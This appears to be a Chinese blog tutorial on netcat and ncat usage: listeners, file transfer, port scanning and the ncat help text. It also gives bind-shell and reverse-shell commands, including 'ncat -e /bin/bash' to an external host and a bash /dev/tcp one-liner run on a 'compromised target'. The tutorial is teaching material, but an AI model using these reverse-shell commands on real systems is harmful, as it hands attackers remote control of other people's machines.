nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。
nc被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。
nc的版本非常乱,有很多版本,他们分别由不同的作者编写。
这个是最早的版本,最新版本是2007年1月,版本是1.10,Kali Linux默认带的就是这个版本:
root@kali-linux:~# nc -h [v1.10-41.1]
这个版本的nc具有 -e
选项,十分方便反弹shell使用
ubuntu里默认的nc命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有 -e
选项。所以我们得手动替换一下nc的版本:
# 安装传统的netcat $ sudo apt-get install netcat # 切换版本 $ sudo update-alternatives --config nc [sudo] sqlsec 的密码: 有 2 个候选项可用于替换 nc (提供 /bin/nc)。 选择 路径 优先级 状态 ------------------------------------------------------------ 0 /bin/nc.openbsd 50 自动模式 1 /bin/nc.openbsd 50 手动模式 * 2 /bin/nc.traditional 10 手动模式 要维持当前值[*]请按<回车键>,或者键入选择的编号:2
这是netcat的比较新的现代版本,它是从头开始编写的,不使用原始的netcat代码。ncat的作者是着名的Nmap程序的作者。ncat几乎重复了原始程序的所有功能,并包含其他功能。CentOS、Red Hat默认带的是ncat。目前ncat已经集成到了nmap里面,安装完nmap后就可以使用 ncat
命令了。
本用法全部基于 ncat
命令来做的记录,其他版本的nc可能会有些许差别。
操作系统 | IP地址 |
---|---|
Ubuntu 18.04 | 10.211.55.14 |
macOS 10.13.6 | 10.211.55.2 |
-l
:使用监听模式,监控传入的信息
# sqlsec @ X1cT34m-iMac in ~ $ ncat -l 2333
此刻macOS就会在监听本地2333端口的入站连接。
尝试实验nc在Ubuntu系统下来连接macOS的2333端口:
# sqlsec @ ubuntu in ~ $ ncat 10.211.55.2 2333
现在就可以通过nc来聊天来,任何一方输入的内容都会被另一方看到:
任一方按 Ctrl+C
即可终止这尴尬的聊天。
-e
:将传入的信息以命令执行
在macOS上运行如下命令,将 /bin/bash
通过2333端口来监听,将收到的信息都发送到 /bin/bash
# sqlsec @ X1cT34m-iMac in ~ [22:09:34] $ ncat -l -e /bin/bash 2333
Ubuntu系统这边依然向往常一样来连接macOS的2333端口,只是此时Ubutnu输入的指令都会传入macOS的/bin/bash 执行成功后会返回信息,类似于ssh操作连接来macOS一样:
# sqlsec @ ubuntu in ~ [22:13:49] C:130 $ ncat 10.211.55.2 2333 whoami sqlsec pwd /Users/sqlsec id uid=501(sqlsec) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserver adm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.a ccess_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh) uname -a Darwin X1cT34m-iMac 17.7.0 Darwin Kernel Version 17.7.0: Wed Apr 24 21:17:24 PDT 2019; root:xnu-4570.71.45~1/RELEASE_X86_64 x86_64
-k
: 客户端断掉连接时,服务端依然保持运行
-v
:现实指令执行过程细节
在macOS开启一个持久监听的nc
# sqlsec @ X1cT34m-iMac in ~ $ ncat -lvk -e /bin/bash 2333
此时使用Ubuntu去连接macOS:
# sqlsec @ ubuntu in ~ $ ncat 10.211.55.2 2333
当Ubuntu客户端使用 CTRL + c
或 CTRL + d
断开连接的时候,macOS的ncat依然在运行,这样方便Ubuntu下次直接nc连进来。
ncat简单调整是可以穿内网的
操作系统 | IP地址 |
---|---|
macOS 10.13.6 | 内网 |
CentOS | www.sqlsec.com |
首先外网的CentOS服务器先监听本地端口:
-w
: 设置等待连线的时间秒数
# root @ x1ct34m in ~ $ ncat -lv 2333 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333
内网的macOS运行:
# sqlsec @ X1cT34m-iMac in ~ $ ncat -w 10 -e /bin/bash www.sqlsec.com 2333
此时CentOS这边已经接受到了内网到macOS的bash了,可以交互执行masOS的命令:
如果控制的目标机器自带的 nc
不支持 -e
选项,那如何将shell弹出去呢?这里可以利用自带的 bash
命令交互环境来实现这个操作:
攻击者外网监听:
-p
port 本地端口
# 使用nc命令的话得添加 -p 指定端口这个选项 nc -lvp 2333 # ncat用法不变 ncat -lv 2333
被入侵的目标机器执行如下命令:
bash -i >& /dev/tcp/10.211.55.4/2333 0>&1
这条命令的作用等同于之前的 ncat -w 10 -e /bin/bash 10.211.55.4 2333
命令 | 参数解释 |
---|---|
bash -i | 产生一个bash交互环境 |
>& | 将联合符号前面的内容与后面结合然后一起重定向给后者 |
/dev/tcp/10.211.55.4/2333 | 让目标主机与主机10.211.55.4的2333端口简历一个连接 |
0>&1 | 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容 |
操作系统 | IP地址 |
---|---|
macOS 10.13.6 | 内网 |
CentOS | www.sqlsec.com |
CentOS远程服务器运行:
# root @ x1ct34m in ~ $ ncat -l 2333 > hello.txt
macOS本地运行:
# sqlsec @ X1cT34m-iMac in ~ $ ncat www.sqlsec.com 2333 < hello.txt
此时会将macOS的文件传输到远程的CentOS服务器上,传输完成后,两个ncat会话都将终止。
CentOS远程服务器运行:
# root @ x1ct34m in ~ $ ncat -l 2333 < hello.txt
macOS本地运行:
# sqlsec @ X1cT34m-iMac in ~ $ ncat www.sqlsec.com 2333 > hello.txt
请注意,这里文件传输完成后不会显示任何内容,并且两个Ncat实例将继续工作。
ncat不支持端口扫描,但是原始的nc可以扫描端口。
-n
: 直接使用ip地址,而不通过域名服务器
-z
: 使用0输入/输出模式,只在扫描通信端口时使用
这里扫描10.211.55.14的20-25这个端口范围:
# sqlsec @ X1cT34m-iMac in ~ $ nc -v -n -z 10.211.55.14 20-25 10.211.55.14 22 (ssh) open
可以发现成功扫描出22端口是开放的了
# sqlsec @ X1cT34m-iMac in ~ $ nc -v -z -n 10.211.55.14 22 10.211.55.14 22 (ssh) open
nc的命令可以写在一起的,下面两条命令的作用相同:
$ nc -v -z -n 10.211.55.14 22 $ nc -vzn 10.211.55.14 22
Options taking a time assume seconds. Append 'ms' for milliseconds, 's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms). -4 Use IPv4 only -6 Use IPv6 only -U, --unixsock Use Unix domain sockets only -C, --crlf Use CRLF for EOL sequence -c, --sh-exec <command /> Executes the given command via /bin/sh -e, --exec <command /> Executes the given command --lua-exec <filename> Executes the given Lua script -g hop1[,hop2,...] Loose source routing hop points (8 max) -G <n> Loose source routing hop pointer (4, 8, 12, ...) -m, --max-conns <n> Maximum <n> simultaneous connections -h, --help Display this help screen -d, --delay <time> Wait between read/writes -o, --output <filename> Dump session data to a file -x, --hex-dump <filename> Dump session data as hex to a file -i, --idle-timeout <time> Idle read/write timeout -p, --source-port port Specify source port to use -s, --source addr Specify source address to use (doesn't affect -l) -l, --listen Bind and listen for incoming connections -k, --keep-open Accept multiple connections in listen mode -n, --nodns Do not resolve hostnames via DNS -t, --telnet Answer Telnet negotiations -u, --udp Use UDP instead of default TCP --sctp Use SCTP instead of default TCP -v, --verbose Set verbosity level (can be used several times) -w, --wait </time> <time> Connect timeout -z Zero-I/O mode, report connection status only --append-output Append rather than clobber specified output files --send-only Only send data, ignoring received; quit on EOF --recv-only Only receive data, never send anything --allow Allow only given hosts to connect to Ncat --allowfile A file of hosts allowed to connect to Ncat --deny Deny given hosts from connecting to Ncat --denyfile A file of hosts denied from connecting to Ncat --broker Enable Ncat's connection brokering mode --chat Start a simple Ncat chat server --proxy <addr :port=""> Specify address of host to proxy through --proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5") --proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server --ssl Connect or listen with SSL --ssl-cert Specify SSL certificate file (PEM) for listening --ssl-key Specify SSL private key (PEM) for listening --ssl-verify Verify trust and domain name of certificates --ssl-trustfile PEM file containing trusted SSL certificates --ssl-ciphers Cipherlist containing SSL ciphers to use --ssl-alpn ALPN protocol list to use. --version Display Ncat's version information and exit See the ncat(1) manpage for full options, descriptions and usage examples </auth> </type> </addr></time> </filename> </filename></time> </n> </n> </n> </filename>
我来评几句
登录后评论已发表评论数()